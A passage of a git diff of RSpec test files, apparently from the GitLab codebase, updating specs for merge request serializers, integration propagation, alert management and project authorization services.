+ let_it_be(:project) { create(:project) }
+ let_it_be(:issue_link) { create(:issue_link) }
+
+ let(:request) { double('request') }
+ let(:related_issue) { issue_link.source.related_issues(user).first }
+ let(:entity) { described_class.new(related_issue, request: request, current_user: user) }
+
+ before do
+ allow(request).to receive(:current_user).and_return(user)
+ allow(request).to receive(:issuable).and_return(issue_link.source)
+ issue_link.target.project.add_developer(user)
+ end
+
+ describe 'issue_link_type' do
+ it { expect(entity.as_json).to include(link_type: 'relates_to') }
+ end
+end
diff --git a/spec/serializers/merge_request_basic_entity_spec.rb b/spec/serializers/merge_request_basic_entity_spec.rb
index 1cddd87e917..4a8bcd72d9c 100644
--- a/spec/serializers/merge_request_basic_entity_spec.rb
+++ b/spec/serializers/merge_request_basic_entity_spec.rb
@@ -3,7 +3,8 @@
require 'spec_helper'
RSpec.describe MergeRequestBasicEntity do
- let(:resource) { build(:merge_request) }
+ let(:resource) { build(:merge_request, params) }
+ let(:params) { {} }
subject do
described_class.new(resource).as_json
@@ -14,4 +15,28 @@ RSpec.describe MergeRequestBasicEntity do
expect(subject[:merge_status]).to eq 'checking'
end
+
+ describe '#reviewers' do
+ let(:params) { { reviewers: [reviewer] } }
+ let(:reviewer) { build(:user) }
+
+ context 'when merge_request_reviewers feature is disabled' do
+ it 'does not contain assignees attributes' do
+ stub_feature_flags(merge_request_reviewers: false)
+
+ expect(subject[:reviewers]).to be_nil
+ end
+ end
+
+ context 'when merge_request_reviewers feature is enabled' do
+ it 'contains reviewers attributes' do
+ stub_feature_flags(merge_request_reviewers: true)
+
+ expect(subject[:reviewers].count).to be 1
+ expect(subject[:reviewers].first.keys).to include(
+ :id, :name, :username, :state, :avatar_url, :web_url
+ )
+ end
+ end
+ end
end
diff --git a/spec/serializers/merge_request_poll_widget_entity_spec.rb b/spec/serializers/merge_request_poll_widget_entity_spec.rb
index e5f88e31025..161940dd01a 100644
--- a/spec/serializers/merge_request_poll_widget_entity_spec.rb
+++ b/spec/serializers/merge_request_poll_widget_entity_spec.rb
@@ -265,7 +265,7 @@ RSpec.describe MergeRequestPollWidgetEntity do
context 'when is not up to date' do
it 'returns nil' do
- pipeline.update(sha: "not up to date")
+ pipeline.update!(sha: "not up to date")
expect(subject[:pipeline]).to eq(nil)
end
@@ -285,4 +285,20 @@ RSpec.describe MergeRequestPollWidgetEntity do
end
end
end
+
+ describe '#builds_with_coverage' do
+ it 'serializes the builds with coverage' do
+ allow(resource).to receive(:head_pipeline_builds_with_coverage).and_return([
+ double(name: 'rspec', coverage: 91.5),
+ double(name: 'jest', coverage: 94.1)
+ ])
+
+ result = subject[:builds_with_coverage]
+
+ expect(result).to eq([
+ { name: 'rspec', coverage: 91.5 },
+ { name: 'jest', coverage: 94.1 }
+ ])
+ end
+ end
end
diff --git a/spec/serializers/merge_request_sidebar_extras_entity_spec.rb b/spec/serializers/merge_request_sidebar_extras_entity_spec.rb
new file mode 100644
index 00000000000..74e9956c8a0
--- /dev/null
+++ b/spec/serializers/merge_request_sidebar_extras_entity_spec.rb
@@ -0,0 +1,57 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe MergeRequestSidebarExtrasEntity do
+ let_it_be(:assignee) { build(:user) }
+ let_it_be(:reviewer) { build(:user) }
+ let_it_be(:user) { build(:user) }
+ let_it_be(:project) { create :project, :repository }
+
+ let(:params) do
+ {
+ source_project: project,
+ target_project: project,
+ assignees: [assignee],
+ reviewers: [reviewer]
+ }
+ end
+
+ let(:resource) do
+ build(:merge_request, params)
+ end
+
+ let(:request) { double('request', current_user: user, project: project) }
+
+ let(:entity) { described_class.new(resource, request: request).as_json }
+
+ describe '#assignees' do
+ it 'contains assignees attributes' do
+ expect(entity[:assignees].count).to be 1
+ expect(entity[:assignees].first.keys).to include(
+ :id, :name, :username, :state, :avatar_url, :web_url, :can_merge
+ )
+ end
+ end
+
+ describe '#reviewers' do
+ context 'when merge_request_reviewers feature is disabled' do
+ it 'does not contain reviewers attributes' do
+ stub_feature_flags(merge_request_reviewers: false)
+
+ expect(entity[:reviewers]).to be_nil
+ end
+ end
+
+ context 'when merge_request_reviewers feature is enabled' do
+ it 'contains reviewers attributes' do
+ stub_feature_flags(merge_request_reviewers: true)
+
+ expect(entity[:reviewers].count).to be 1
+ expect(entity[:reviewers].first.keys).to include(
+ :id, :name, :username, :state, :avatar_url, :web_url, :can_merge
+ )
+ end
+ end
+ end
+end
diff --git a/spec/serializers/merge_request_widget_entity_spec.rb b/spec/serializers/merge_request_widget_entity_spec.rb
index 1704208d8b9..1432c4499ae 100644
--- a/spec/serializers/merge_request_widget_entity_spec.rb
+++ b/spec/serializers/merge_request_widget_entity_spec.rb
@@ -136,9 +136,22 @@ RSpec.describe MergeRequestWidgetEntity do
let(:role) { :developer }
it 'has add ci config path' do
- expected_path = "/#{resource.project.full_path}/-/new/#{resource.source_branch}?commit_message=Add+.gitlab-ci.yml&file_name=.gitlab-ci.yml&suggest_gitlab_ci_yml=true"
+ expected_path = "/#{resource.project.full_path}/-/new/#{resource.source_branch}"
- expect(subject[:merge_request_add_ci_config_path]).to eq(expected_path)
+ expect(subject[:merge_request_add_ci_config_path]).to include(expected_path)
+ end
+
+ it 'has expected params' do
+ expected_params = {
+ commit_message: 'Add .gitlab-ci.yml',
+ file_name: '.gitlab-ci.yml',
+ suggest_gitlab_ci_yml: 'true',
+ mr_path: "/#{resource.project.full_path}/-/merge_requests/#{resource.iid}"
+ }.with_indifferent_access
+
+ uri = Addressable::URI.parse(subject[:merge_request_add_ci_config_path])
+
+ expect(uri.query_values).to match(expected_params)
end
context 'when auto devops is enabled' do
@@ -197,7 +210,7 @@ RSpec.describe MergeRequestWidgetEntity do
context 'when build feature is disabled' do
before do
- project.project_feature.update(builds_access_level: ProjectFeature::DISABLED)
+ project.project_feature.update!(builds_access_level: ProjectFeature::DISABLED)
end
it 'has no path' do
@@ -333,7 +346,7 @@ RSpec.describe MergeRequestWidgetEntity do
it 'returns a blank rebase_path' do
allow(merge_request).to receive(:should_be_rebased?).and_return(true)
- forked_project.destroy
+ forked_project.destroy!
merge_request.reload
entity = described_class.new(merge_request, request: request).as_json
diff --git a/spec/serializers/pipeline_details_entity_spec.rb b/spec/serializers/pipeline_details_entity_spec.rb
index 35ce7c7175c..1357836cb89 100644
--- a/spec/serializers/pipeline_details_entity_spec.rb
+++ b/spec/serializers/pipeline_details_entity_spec.rb
@@ -6,6 +6,10 @@ RSpec.describe PipelineDetailsEntity do
let_it_be(:user) { create(:user) }
let(:request) { double('request') }
+ let(:entity) do
+ described_class.represent(pipeline, request: request)
+ end
+
it 'inherrits from PipelineEntity' do
expect(described_class).to be < PipelineEntity
end
@@ -16,10 +20,6 @@ RSpec.describe PipelineDetailsEntity do
allow(request).to receive(:current_user).and_return(user)
end
- let(:entity) do
- described_class.represent(pipeline, request: request)
- end
-
describe '#as_json' do
subject { entity.as_json }
diff --git a/spec/serializers/pipeline_entity_spec.rb b/spec/serializers/pipeline_entity_spec.rb
index e00f05a8fe8..d7cd13edec8 100644
--- a/spec/serializers/pipeline_entity_spec.rb
+++ b/spec/serializers/pipeline_entity_spec.rb
@@ -260,13 +260,5 @@ RSpec.describe PipelineEntity do
end
end
end
-
- context 'when pipeline has build report results' do
- let(:pipeline) { create(:ci_pipeline, :with_report_results, project: project, user: user) }
-
- it 'exposes tests total count' do
- expect(subject[:tests_total_count]).to eq(2)
- end
- end
end
end
diff --git a/spec/serializers/pipeline_serializer_spec.rb b/spec/serializers/pipeline_serializer_spec.rb
index dfe51e9006f..b42a4f6ad3f 100644
--- a/spec/serializers/pipeline_serializer_spec.rb
+++ b/spec/serializers/pipeline_serializer_spec.rb
@@ -155,7 +155,7 @@ RSpec.describe PipelineSerializer do
it 'verifies number of queries', :request_store do
recorded = ActiveRecord::QueryRecorder.new { subject }
- expected_queries = Gitlab.ee? ? 46 : 43
+ expected_queries = Gitlab.ee? ? 43 : 40
expect(recorded.count).to be_within(2).of(expected_queries)
expect(recorded.cached_count).to eq(0)
diff --git a/spec/serializers/test_case_entity_spec.rb b/spec/serializers/test_case_entity_spec.rb
index bd2a1b0fb98..32e9562f4c1 100644
--- a/spec/serializers/test_case_entity_spec.rb
+++ b/spec/serializers/test_case_entity_spec.rb
@@ -5,6 +5,8 @@ require 'spec_helper'
RSpec.describe TestCaseEntity do
include TestReportsHelper
+ let_it_be(:job) { create(:ci_build) }
+
let(:entity) { described_class.new(test_case) }
describe '#as_json' do
@@ -38,7 +40,7 @@ RSpec.describe TestCaseEntity do
end
context 'when attachment is present' do
- let(:test_case) { build(:test_case, :failed_with_attachment) }
+ let(:test_case) { build(:test_case, :failed_with_attachment, job: job) }
it 'returns the attachment_url' do
expect(subject).to include(:attachment_url)
@@ -46,7 +48,7 @@ RSpec.describe TestCaseEntity do
end
context 'when attachment is not present' do
- let(:test_case) { build(:test_case) }
+ let(:test_case) { build(:test_case, job: job) }
it 'returns a nil attachment_url' do
expect(subject[:attachment_url]).to be_nil
@@ -60,7 +62,7 @@ RSpec.describe TestCaseEntity do
end
context 'when attachment is present' do
- let(:test_case) { build(:test_case, :failed_with_attachment) }
+ let(:test_case) { build(:test_case, :failed_with_attachment, job: job) }
it 'returns no attachment_url' do
expect(subject).not_to include(:attachment_url)
@@ -68,7 +70,7 @@ RSpec.describe TestCaseEntity do
end
context 'when attachment is not present' do
- let(:test_case) { build(:test_case) }
+ let(:test_case) { build(:test_case, job: job) }
it 'returns no attachment_url' do
expect(subject).not_to include(:attachment_url)
diff --git a/spec/services/admin/propagate_integration_service_spec.rb b/spec/services/admin/propagate_integration_service_spec.rb
index 2e879cf06d1..49d974b7154 100644
--- a/spec/services/admin/propagate_integration_service_spec.rb
+++ b/spec/services/admin/propagate_integration_service_spec.rb
@@ -4,8 +4,15 @@ require 'spec_helper'
RSpec.describe Admin::PropagateIntegrationService do
describe '.propagate' do
- let(:excluded_attributes) { %w[id project_id inherit_from_id instance created_at updated_at default] }
+ include JiraServiceHelper
+
+ before do
+ stub_jira_service_test
+ end
+
+ let(:excluded_attributes) { %w[id project_id group_id inherit_from_id instance created_at updated_at default] }
let!(:project) { create(:project) }
+ let!(:group) { create(:group) }
let!(:instance_integration) do
JiraService.create!(
instance: true,
@@ -43,7 +50,7 @@ RSpec.describe Admin::PropagateIntegrationService do
)
end
- let!(:another_inherited_integration) do
+ let!(:different_type_inherited_integration) do
BambooService.create!(
project: create(:project),
inherit_from_id: instance_integration.id,
@@ -59,7 +66,7 @@ RSpec.describe Admin::PropagateIntegrationService do
shared_examples 'inherits settings from integration' do
it 'updates the inherited integrations' do
- described_class.propagate(integration: instance_integration, overwrite: overwrite)
+ described_class.propagate(instance_integration)
expect(integration.reload.inherit_from_id).to eq(instance_integration.id)
expect(integration.attributes.except(*excluded_attributes))
@@ -70,7 +77,7 @@ RSpec.describe Admin::PropagateIntegrationService do
let(:excluded_attributes) { %w[id service_id created_at updated_at] }
it 'updates the data fields from inherited integrations' do
- described_class.propagate(integration: instance_integration, overwrite: overwrite)
+ described_class.propagate(instance_integration)
expect(integration.reload.data_fields.attributes.except(*excluded_attributes))
.to eq(instance_integration.data_fields.attributes.except(*excluded_attributes))
@@ -80,7 +87,7 @@ RSpec.describe Admin::PropagateIntegrationService do
shared_examples 'does not inherit settings from integration' do
it 'does not update the not inherited integrations' do
- described_class.propagate(integration: instance_integration, overwrite: overwrite)
+ described_class.propagate(instance_integration)
expect(integration.reload.attributes.except(*excluded_attributes))
.not_to eq(instance_integration.attributes.except(*excluded_attributes))
@@ -88,8 +95,6 @@ RSpec.describe Admin::PropagateIntegrationService do
end
context 'update only inherited integrations' do
- let(:overwrite) { false }
-
it_behaves_like 'inherits settings from integration' do
let(:integration) { inherited_integration }
end
@@ -99,36 +104,20 @@ RSpec.describe Admin::PropagateIntegrationService do
end
it_behaves_like 'does not inherit settings from integration' do
- let(:integration) { another_inherited_integration }
+ let(:integration) { different_type_inherited_integration }
end
it_behaves_like 'inherits settings from integration' do
let(:integration) { project.jira_service }
end
- end
-
- context 'update all integrations' do
- let(:overwrite) { true }
-
- it_behaves_like 'inherits settings from integration' do
- let(:integration) { inherited_integration }
- end
it_behaves_like 'inherits settings from integration' do
- let(:integration) { not_inherited_integration }
- end
-
- it_behaves_like 'does not inherit settings from integration' do
- let(:integration) { another_inherited_integration }
- end
-
- it_behaves_like 'inherits settings from integration' do
- let(:integration) { project.jira_service }
+ let(:integration) { Service.find_by(group_id: group.id) }
end
end
it 'updates project#has_external_issue_tracker for issue tracker services' do
- described_class.propagate(integration: instance_integration, overwrite: true)
+ described_class.propagate(instance_integration)
expect(project.reload.has_external_issue_tracker).to eq(true)
end
@@ -141,7 +130,7 @@ RSpec.describe Admin::PropagateIntegrationService do
external_wiki_url: 'http://external-wiki-url.com'
)
- described_class.propagate(integration: instance_integration, overwrite: true)
+ described_class.propagate(instance_integration)
expect(project.reload.has_external_wiki).to eq(true)
end
diff --git a/spec/services/admin/propagate_service_template_spec.rb b/spec/services/admin/propagate_service_template_spec.rb
new file mode 100644
index 00000000000..15654653095
--- /dev/null
+++ b/spec/services/admin/propagate_service_template_spec.rb
@@ -0,0 +1,142 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Admin::PropagateServiceTemplate do
+ describe '.propagate' do
+ let!(:service_template) do
+ PushoverService.create!(
+ template: true,
+ active: true,
+ push_events: false,
+ properties: {
+ device: 'MyDevice',
+ sound: 'mic',
+ priority: 4,
+ user_key: 'asdf',
+ api_key: '123456789'
+ }
+ )
+ end
+
+ let!(:project) { create(:project) }
+ let(:excluded_attributes) { %w[id project_id template created_at updated_at default] }
+
+ it 'creates services for projects' do
+ expect(project.pushover_service).to be_nil
+
+ described_class.propagate(service_template)
+
+ expect(project.reload.pushover_service).to be_present
+ end
+
+ it 'creates services for a project that has another service' do
+ BambooService.create!(
+ active: true,
+ project: project,
+ properties: {
+ bamboo_url: 'http://gitlab.com',
+ username: 'mic',
+ password: 'password',
+ build_key: 'build'
+ }
+ )
+
+ expect(project.pushover_service).to be_nil
+
+ described_class.propagate(service_template)
+
+ expect(project.reload.pushover_service).to be_present
+ end
+
+ it 'does not create the service if it exists already' do
+ other_service = BambooService.create!(
+ template: true,
+ active: true,
+ properties: {
+ bamboo_url: 'http://gitlab.com',
+ username: 'mic',
+ password: 'password',
+ build_key: 'build'
+ }
+ )
+
+ Service.build_from_integration(project.id, service_template).save!
+ Service.build_from_integration(project.id, other_service).save!
+
+ expect { described_class.propagate(service_template) }
+ .not_to change { Service.count }
+ end
+
+ it 'creates the service containing the template attributes' do
+ described_class.propagate(service_template)
+
+ expect(project.pushover_service.properties).to eq(service_template.properties)
+
+ expect(project.pushover_service.attributes.except(*excluded_attributes))
+ .to eq(service_template.attributes.except(*excluded_attributes))
+ end
+
+ context 'service with data fields' do
+ include JiraServiceHelper
+
+ let(:service_template) do
+ stub_jira_service_test
+
+ JiraService.create!(
+ template: true,
+ active: true,
+ push_events: false,
+ url: 'http://jira.instance.com',
+ username: 'user',
+ password: 'secret'
+ )
+ end
+
+ it 'creates the service containing the template attributes' do
+ described_class.propagate(service_template)
+
+ expect(project.jira_service.attributes.except(*excluded_attributes))
+ .to eq(service_template.attributes.except(*excluded_attributes))
+
+ excluded_attributes = %w[id service_id created_at updated_at]
+ expect(project.jira_service.data_fields.attributes.except(*excluded_attributes))
+ .to eq(service_template.data_fields.attributes.except(*excluded_attributes))
+ end
+ end
+
+ describe 'bulk update', :use_sql_query_cache do
+ let(:project_total) { 5 }
+
+ before do
+ stub_const('Admin::PropagateServiceTemplate::BATCH_SIZE', 3)
+
+ project_total.times { create(:project) }
+
+ described_class.propagate(service_template)
+ end
+
+ it 'creates services for all projects' do
+ expect(Service.all.reload.count).to eq(project_total + 2)
+ end
+ end
+
+ describe 'external tracker' do
+ it 'updates the project external tracker' do
+ service_template.update!(category: 'issue_tracker')
+
+ expect { described_class.propagate(service_template) }
+ .to change { project.reload.has_external_issue_tracker }.to(true)
+ end
+ end
+
+ describe 'external wiki' do
+ it 'updates the project external tracker' do
+ service_template.update!(type: 'ExternalWikiService')
+
+ expect { described_class.propagate(service_template) }
+ .to change { project.reload.has_external_wiki }.to(true)
+ end
+ end
+ end
+end
diff --git a/spec/services/alert_management/create_alert_issue_service_spec.rb b/spec/services/alert_management/create_alert_issue_service_spec.rb
index cf24188a738..f2be317a13d 100644
--- a/spec/services/alert_management/create_alert_issue_service_spec.rb
+++ b/spec/services/alert_management/create_alert_issue_service_spec.rb
@@ -66,7 +66,7 @@ RSpec.describe AlertManagement::CreateAlertIssueService do
end
it 'sets the issue description' do
- expect(created_issue.description).to include(alert_presenter.issue_summary_markdown.strip)
+ expect(created_issue.description).to include(alert_presenter.send(:issue_summary_markdown).strip)
end
end
@@ -82,6 +82,30 @@ RSpec.describe AlertManagement::CreateAlertIssueService do
expect(user).to have_received(:can?).with(:create_issue, project)
end
+ context 'with alert severity' do
+ using RSpec::Parameterized::TableSyntax
+
+ where(:alert_severity, :incident_severity) do
+ 'critical' | 'critical'
+ 'high' | 'high'
+ 'medium' | 'medium'
+ 'low' | 'low'
+ 'info' | 'unknown'
+ 'unknown' | 'unknown'
+ end
+
+ with_them do
+ before do
+ alert.update!(severity: alert_severity)
+ execute
+ end
+
+ it 'sets the correct severity level' do
+ expect(created_issue.severity).to eq(incident_severity)
+ end
+ end
+ end
+
context 'when the alert is prometheus alert' do
let(:alert) { prometheus_alert }
let(:issue) { subject.payload[:issue] }
diff --git a/spec/services/alert_management/process_prometheus_alert_service_spec.rb b/spec/services/alert_management/process_prometheus_alert_service_spec.rb
index 533e2473cb8..b14cc65506a 100644
--- a/spec/services/alert_management/process_prometheus_alert_service_spec.rb
+++ b/spec/services/alert_management/process_prometheus_alert_service_spec.rb
@@ -3,17 +3,29 @@
require 'spec_helper'
RSpec.describe AlertManagement::ProcessPrometheusAlertService do
- let_it_be(:project) { create(:project, :repository) }
+ let_it_be(:project, reload: true) { create(:project, :repository) }
before do
allow(ProjectServiceWorker).to receive(:perform_async)
end
describe '#execute' do
- subject(:execute) { described_class.new(project, nil, payload).execute }
+ let(:service) { described_class.new(project, nil, payload) }
+ let(:incident_management_setting) { double(auto_close_incident?: auto_close_incident, create_issue?: create_issue) }
+ let(:auto_close_incident) { true }
+ let(:create_issue) { true }
+
+ before do
+ allow(service)
+ .to receive(:incident_management_setting)
+ .and_return(incident_management_setting)
+ end
+
+ subject(:execute) { service.execute }
context 'when alert payload is valid' do
- let(:parsed_alert) { Gitlab::Alerting::Alert.new(project: project, payload: payload) }
+ let(:parsed_payload) { Gitlab::AlertManagement::Payload.parse(project, payload, monitoring_tool: 'Prometheus') }
+ let(:fingerprint) { parsed_payload.gitlab_fingerprint }
let(:payload) do
{
'status' => status,
@@ -39,25 +51,26 @@ RSpec.describe AlertManagement::ProcessPrometheusAlertService do
context 'when Prometheus alert status is firing' do
context 'when alert with the same fingerprint already exists' do
- let!(:alert) { create(:alert_management_alert, project: project, fingerprint: parsed_alert.gitlab_fingerprint) }
+ let!(:alert) { create(:alert_management_alert, project: project, fingerprint: fingerprint) }
it_behaves_like 'adds an alert management alert event'
+ it_behaves_like 'processes incident issues'
context 'existing alert is resolved' do
- let!(:alert) { create(:alert_management_alert, :resolved, project: project, fingerprint: parsed_alert.gitlab_fingerprint) }
+ let!(:alert) { create(:alert_management_alert, :resolved, project: project, fingerprint: fingerprint) }
it_behaves_like 'creates an alert management alert'
end
context 'existing alert is ignored' do
- let!(:alert) { create(:alert_management_alert, :ignored, project: project, fingerprint: parsed_alert.gitlab_fingerprint) }
+ let!(:alert) { create(:alert_management_alert, :ignored, project: project, fingerprint: fingerprint) }
it_behaves_like 'adds an alert management alert event'
end
context 'two existing alerts, one resolved one open' do
- let!(:resolved_alert) { create(:alert_management_alert, :resolved, project: project, fingerprint: parsed_alert.gitlab_fingerprint) }
- let!(:alert) { create(:alert_management_alert, project: project, fingerprint: parsed_alert.gitlab_fingerprint) }
+ let!(:resolved_alert) { create(:alert_management_alert, :resolved, project: project, fingerprint: fingerprint) }
+ let!(:alert) { create(:alert_management_alert, project: project, fingerprint: fingerprint) }
it_behaves_like 'adds an alert management alert event'
end
@@ -78,46 +91,47 @@ RSpec.describe AlertManagement::ProcessPrometheusAlertService do
execute
end
end
+
+ context 'when auto-alert creation is disabled' do
+ let(:create_issue) { false }
+
+ it_behaves_like 'does not process incident issues'
+ end
end
context 'when alert does not exist' do
context 'when alert can be created' do
it_behaves_like 'creates an alert management alert'
- it 'processes the incident alert' do
- expect(IncidentManagement::ProcessAlertWorker)
- .to receive(:perform_async)
- .with(nil, nil, kind_of(Integer))
- .once
+ it 'creates a system note corresponding to alert creation' do
+ expect { subject }.to change(Note, :count).by(1)
+ end
+
+ it_behaves_like 'processes incident issues'
- expect(subject).to be_success
+ context 'when auto-alert creation is disabled' do
+ let(:create_issue) { false }
+
+ it_behaves_like 'does not process incident issues'
end
end
context 'when alert cannot be created' do
- let(:errors) { double(messages: { hosts: ['hosts array is over 255 chars'] })}
- let(:am_alert) { instance_double(AlertManagement::Alert, save: false, errors: errors) }
-
before do
- allow(AlertManagement::Alert).to receive(:new).and_return(am_alert)
+ payload['annotations']['title'] = 'description' * 50
end
it 'writes a warning to the log' do
expect(Gitlab::AppLogger).to receive(:warn).with(
message: 'Unable to create AlertManagement::Alert',
project_id: project.id,
- alert_errors: { hosts: ['hosts array is over 255 chars'] }
+ alert_errors: { title: ["is too long (maximum is 200 characters)"] }
)
execute
end
- it 'does not create incident issue' do
- expect(IncidentManagement::ProcessAlertWorker)
- .not_to receive(:perform_async)
-
- expect(subject).to be_success
- end
+ it_behaves_like 'does not process incident issues'
end
it { is_expected.to be_success }
@@ -126,57 +140,67 @@ RSpec.describe AlertManagement::ProcessPrometheusAlertService do
context 'when Prometheus alert status is resolved' do
let(:status) { 'resolved' }
- let!(:alert) { create(:alert_management_alert, project: project, fingerprint: parsed_alert.gitlab_fingerprint) }
+ let!(:alert) { create(:alert_management_alert, project: project, fingerprint: fingerprint) }
- context 'when status can be changed' do
- it 'resolves an existing alert' do
- expect { execute }.to change { alert.reload.resolved? }.to(true)
- end
+ context 'when auto_resolve_incident set to true' do
+ context 'when status can be changed' do
+ it 'resolves an existing alert' do
+ expect { execute }.to change { alert.reload.resolved? }.to(true)
+ end
- [true, false].each do |state_tracking_enabled|
- context 'existing issue' do
- before do
- stub_feature_flags(track_resource_state_change_events: state_tracking_enabled)
- end
+ [true, false].each do |state_tracking_enabled|
+ context 'existing issue' do
+ before do
+ stub_feature_flags(track_resource_state_change_events: state_tracking_enabled)
+ end
- let!(:alert) { create(:alert_management_alert, :with_issue, project: project, fingerprint: parsed_alert.gitlab_fingerprint) }
+ let!(:alert) { create(:alert_management_alert, :with_issue, project: project, fingerprint: fingerprint) }
- it 'closes the issue' do
- issue = alert.issue
+ it 'closes the issue' do
+ issue = alert.issue
- expect { execute }
- .to change { issue.reload.state }
- .from('opened')
- .to('closed')
- end
+ expect { execute }
+ .to change { issue.reload.state }
+ .from('opened')
+ .to('closed')
+ end
- if state_tracking_enabled
- specify { expect { execute }.to change(ResourceStateEvent, :count).by(1) }
- else
- specify { expect { execute }.to change(Note, :count).by(1) }
+ if state_tracking_enabled
+ specify { expect { execute }.to change(ResourceStateEvent, :count).by(1) }
+ else
+ specify { expect { execute }.to change(Note, :count).by(1) }
+ end
end
end
end
- end
- context 'when status change did not succeed' do
- before do
- allow(AlertManagement::Alert).to receive(:for_fingerprint).and_return([alert])
- allow(alert).to receive(:resolve).and_return(false)
- end
+ context 'when status change did not succeed' do
+ before do
+ allow(AlertManagement::Alert).to receive(:for_fingerprint).and_return([alert])
+ allow(alert).to receive(:resolve).and_return(false)
+ end
- it 'writes a warning to the log' do
- expect(Gitlab::AppLogger).to receive(:warn).with(
- message: 'Unable to update AlertManagement::Alert status to resolved',
- project_id: project.id,
- alert_id: alert.id
- )
+ it 'writes a warning to the log' do
+ expect(Gitlab::AppLogger).to receive(:warn).with(
+ message: 'Unable to update AlertManagement::Alert status to resolved',
+ project_id: project.id,
+ alert_id: alert.id
+ )
- execute
+ execute
+ end
end
+
+ it { is_expected.to be_success }
end
- it { is_expected.to be_success }
+ context 'when auto_resolve_incident set to false' do
+ let(:auto_close_incident) { false }
+
+ it 'does not resolve an existing alert' do
+ expect { execute }.not_to change { alert.reload.resolved? }
+ end
+ end
end
context 'environment given' do
diff --git a/spec/services/audit_event_service_spec.rb b/spec/services/audit_event_service_spec.rb
index 530d3469481..93de2a23edc 100644
--- a/spec/services/audit_event_service_spec.rb
+++ b/spec/services/audit_event_service_spec.rb
@@ -22,7 +22,7 @@ RSpec.describe AuditEventService do
entity_type: "Project",
action: :destroy)
- expect { service.security_event }.to change(SecurityEvent, :count).by(1)
+ expect { service.security_event }.to change(AuditEvent, :count).by(1)
end
it 'formats from and to fields' do
@@ -44,14 +44,30 @@ RSpec.describe AuditEventService do
action: :create,
target_id: 1)
- expect { service.security_event }.to change(SecurityEvent, :count).by(1)
+ expect { service.security_event }.to change(AuditEvent, :count).by(1)
- details = SecurityEvent.last.details
+ details = AuditEvent.last.details
expect(details[:from]).to be true
expect(details[:to]).to be false
expect(details[:action]).to eq(:create)
expect(details[:target_id]).to eq(1)
end
+
+ context 'authentication event' do
+ let(:audit_service) { described_class.new(user, user, with: 'standard') }
+
+ it 'creates an authentication event' do
+ expect(AuthenticationEvent).to receive(:create).with(
+ user: user,
+ user_name: user.name,
+ ip_address: user.current_sign_in_ip,
+ result: AuthenticationEvent.results[:success],
+ provider: 'standard'
+ )
+
+ audit_service.for_authentication.security_event
+ end
+ end
end
describe '#log_security_event_to_file' do
diff --git a/spec/services/authorized_project_update/project_create_service_spec.rb b/spec/services/authorized_project_update/project_create_service_spec.rb
index 891800bfb87..a9d0b82acfb 100644
--- a/spec/services/authorized_project_update/project_create_service_spec.rb
+++ b/spec/services/authorized_project_update/project_create_service_spec.rb
@@ -81,6 +81,7 @@ RSpec.describe AuthorizedProjectUpdate::ProjectCreateService do
before do
create(:group_member, access_level: Gitlab::Access::REPORTER, group: group, user: group_user)
create(:group_member, access_level: Gitlab::Access::MAINTAINER, group: shared_with_group, user: group_user)
+ create(:group_member, :minimal_access, source: shared_with_group, user: create(:user))
create(:group_group_link, shared_group: group, shared_with_group: shared_with_group, group_access: Gitlab::Access::DEVELOPER)
@@ -97,6 +98,11 @@ RSpec.describe AuthorizedProjectUpdate::ProjectCreateService do
access_level: Gitlab::Access::DEVELOPER)
expect(project_authorization).to exist
end
+
+ it 'does not create project authorization for user with minimal access' do
+ expect { service.execute }.to(
+ change { ProjectAuthorization.count }.from(0).to(1))
+ end
end
end
@@ -118,6 +124,17 @@ RSpec.describe AuthorizedProjectUpdate::ProjectCreateService do
end
end
+ context 'member with minimal access' do
+ before do
+ create(:group_member, :minimal_access, user: group_user, source: group)
+ end
+
+ it 'does not create project authorization' do
+ expect { service.execute }.not_to(
+ change { ProjectAuthorization.count }.from(0))
+ end
+ end
+
context 'project has more user than BATCH_SIZE' do
let(:batch_size) { 2 }
let(:users) { create_list(:user, batch_size + 1 ) }
diff --git a/spec/services/authorized_project_update/project_group_link_create_service_spec.rb b/spec/services/authorized_project_update/project_group_link_create_service_spec.rb
index 961322a1a21..1fd47f78c24 100644
--- a/spec/services/authorized_project_update/project_group_link_create_service_spec.rb
+++ b/spec/services/authorized_project_update/project_group_link_create_service_spec.rb
@@ -112,6 +112,17 @@ RSpec.describe AuthorizedProjectUpdate::ProjectGroupLinkCreateService do
end
end
+ context 'minimal access member' do
+ before do
+ create(:group_member, :minimal_access, user: group_user, source: group)
+ end
+
+ it 'does not create project authorization' do
+ expect { service.execute }.not_to(
+ change { ProjectAuthorization.count }.from(0))
+ end
+ end
+
context 'project has more users than BATCH_SIZE' do
let(:batch_size) { 2 }
let(:users) { create_list(:user, batch_size + 1 ) }
diff --git a/spec/services/auto_merge/merge_when_pipeline_succeeds_service_spec.rb b/spec/services/auto_merge/merge_when_pipeline_succeeds_service_spec.rb
index 3bf59f6a2d1..7b428550768 100644
--- a/spec/services/auto_merge/merge_when_pipeline_succeeds_service_spec.rb
+++ b/spec/services/auto_merge/merge_when_pipeline_succeeds_service_spec.rb
@@ -91,18 +91,6 @@ RSpec.describe AutoMerge::MergeWhenPipelineSucceedsService do
end
end
- context 'without feature enabled' do
- it 'does not send notification' do
- stub_feature_flags(mwps_notification: false)
-
- allow(merge_request)
- .to receive_messages(head_pipeline: pipeline, actual_head_pipeline: pipeline)
- expect(MailScheduler::NotificationServiceWorker).not_to receive(:perform_async)
-
- service.execute(merge_request)
- end
- end
-
context 'already approved' do
let(:service) { described_class.new(project, user, should_remove_source_branch: true) }
let(:build) { create(:ci_build, ref: mr_merge_if_green_enabled.source_branch) }
diff --git a/spec/services/branches/delete_service_spec.rb b/spec/services/branches/delete_service_spec.rb
index f1e7c9340b1..291431c1723 100644
--- a/spec/services/branches/delete_service_spec.rb
+++ b/spec/services/branches/delete_service_spec.rb
@@ -37,6 +37,21 @@ RSpec.describe Branches::DeleteService do
end
it_behaves_like 'a deleted branch', 'feature'
+
+ context 'when Gitlab::Git::CommandError is raised' do
+ before do
+ allow(repository).to receive(:rm_branch) do
+ raise Gitlab::Git::CommandError.new('Could not update patch')
+ end
+ end
+
+ it 'handles and returns error' do
+ result = service.execute('feature')
+
+ expect(result.status).to eq(:error)
+ expect(result.message).to eq('Could not update patch')
+ end
+ end
end
context 'when user does not have access to push to repository' do
diff --git a/spec/services/ci/cancel_user_pipelines_service_spec.rb b/spec/services/ci/cancel_user_pipelines_service_spec.rb
index 12117051b64..8491242dfd5 100644
